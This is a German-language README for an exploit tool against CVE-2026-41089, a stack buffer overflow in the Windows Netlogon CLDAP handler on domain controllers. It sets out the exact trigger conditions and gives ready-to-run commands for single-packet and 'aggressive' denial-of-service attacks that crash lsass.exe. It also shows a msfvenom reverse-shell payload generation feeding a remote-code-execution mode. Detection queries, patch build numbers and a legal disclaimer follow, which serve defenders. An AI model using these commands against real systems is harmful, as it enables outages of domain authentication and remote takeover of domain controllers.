
CVE-2026-41089 ist eine kritische Remote-Code-Ausführungsschwachstelle im Windows-Netlogon-Dienst, bei der ein einzelnes Paket ausreicht, um lsass.exe zum Absturz zu bringen und den Domänencontroller innerhalb von etwa 30–60 Sekunden neu zu starten. Während dieses Zeitraums schlägt die gesamte Domänenauthentifizierung dieses DC fehl.
CVE-ID: CVE-2026-41089
CVSS: 9.8 (Critical)
CWE: CWE-121 (Stack-based Buffer Overflow)
Angriffsvektor: UDP/389 (CLDAP SearchRequest)
Auswirkung: Remote Code Execution (RCE) / Denial of Service (DoS)
Betroffene Versionen: Windows Server 2012 R2 ~ 2025 (Domain Controllers)
Patch: Kumulatives Update Mai 2026
Die Funktion NetpLogonPutUnicodeString in netlogon.dll weist einen Stack-Pufferüberlauf bei der Verarbeitung von CLDAP-Suchanfragen auf. Die Funktion erhält ein Byte-Längenbudget, interpretiert es jedoch als WCHAR-Anzahl, was dazu führt, dass die geschriebene Menge doppelt so groß wie erwartet ist.
Der Überlauf tritt in einem 528-Byte (264 ushort) großen Stack-Puffer innerhalb der Funktion NlGetLocalPingResponse auf. Das vom Angreifer kontrollierte User-Feld zusammen mit dem eigenen DNS-Domänennamen des Servers füllen diesen Puffer und überschreiben schließlich das GS-Sicherheits-Cookie, was zu und einem Absturz von führt.
__report_gsfailurelsass.exeNtVer=0x02 (erzwingt den alten, anfälligen BuildSamLogonResponse-Pfad)User-Feldlänge ≥ ~130 Zeichen (binäre Obergrenze etwa 260 Byte UTF-16)Hinweis:
NtVer=0x16(von vielen öffentlichen Erkennungsskripten verwendet) löst den sicherenBuildSamLogonResponseEx-Pfad aus und löst die Schwachstelle nicht aus.
| Modus | Beschreibung |
|---|---|
--mode dos | Sendet ein speziell präpariertes CLDAP-Paket, das LSASS zum Absturz bringt und den DC neu startet (~60 Sekunden Ausfall der Authentifizierung) |
--mode rce | Versucht Remote Code Execution (Forschungsstufe, erfordert Shellcode) |
--mode scan | Scannt die Antworten auf verschiedene NtVer-Werte und führt einen Fingerprint des Ziel-DC durch |
--mode auto | Automatische Erkennung und Auswahl der besten Angriffsstrategie |
Ein einzelnes Paket bringt lsass.exe zum Absturz, wodurch der Domain-Controller für etwa 30‑60 Sekunden neu startet. Während dieser Zeit schlagen alle Domänenauthentifizierungen auf diesem DC fehl.
# Basisnutzung — 3 Pakete senden
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# Schneller Einzelpaket-Angriff
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# Aggressiver Modus — 5 Pakete parallel
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ Forschungsstufe — unzuverlässig und instabil in realen Umgebungen.
RCE steht vor folgenden Herausforderungen:
# Shellcode generieren
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# RCE-Kette senden
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# Fingerprint des Ziel-DC
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
Erwartete Ausgabe (gepatchtes Ziel):
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Erwartete Ausgabe (ungepatchtes Ziel):
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS abgestürzt!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Wenn NtVer=0x02 ein Timeout liefert, während andere Versionen normal antworten, ist das Ziel wahrscheinlich anfällig.
| Parameter | Beschreibung | Standardwert |
|---|---|---|
-l, --user-len | Länge des Benutzernamensfelds (ASCII-Zeichenanzahl) | 180 |
--ntver | NtVer-Wert (hexadezimal, z.B. 0x02) | 0x02 |
--count | Anzahl zu sendender DoS-Pakete | 3 |
--delay | Verzögerung zwischen Paketen (Sekunden) | 0.5 |
-t, --timeout | Socket-Timeout (Sekunden) | 5.0 |
--json | Ausgabe im JSON-Format | — |
--raw | Rohpaket vor dem Senden als Hex ausgeben | — |
--quiet | Bannerausgabe unterdrücken | — |
--shellcode-file | Benutzerdefinierte Shellcode-Datei (rohes x64) | — |
--lhost | Reverse-Shell-Listener-Adresse | — |
--lport | Reverse-Shell-Listener-Port | 4444 |
# Erstellen Sie einen DC mit einer langen Domäne auf einem ungepatchten Windows Server:
# 1. Zum Domain-Controller heraufstufen (DNS-Domänenname lang, z.B. "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. Sicherstellen, dass Patches vor Mai 2026 installiert sind
# 3. Vom Angreiferrechner ausführen:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. DC-Absturz und Neustart beobachten
User > 100 Byte und NtVer = 0x02Ereignis-ID: 1000
Fehlerhafte Anwendung: lsass.exe
Fehlerhaftes Modul: netlogon.dll
Ausnahmecode: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
| Windows Server-Version | Patch-Buildnummer | Hinweise |
|---|---|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |
Dieses Tool ist ausschließlich für autorisierte Sicherheitsbewertungen, Penetrationstests, CTF-Wettbewerbe und Abwehrforschung bestimmt. Die Nutzung dieses Tools gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal. Der Benutzer trägt die alleinige rechtliche Verantwortung.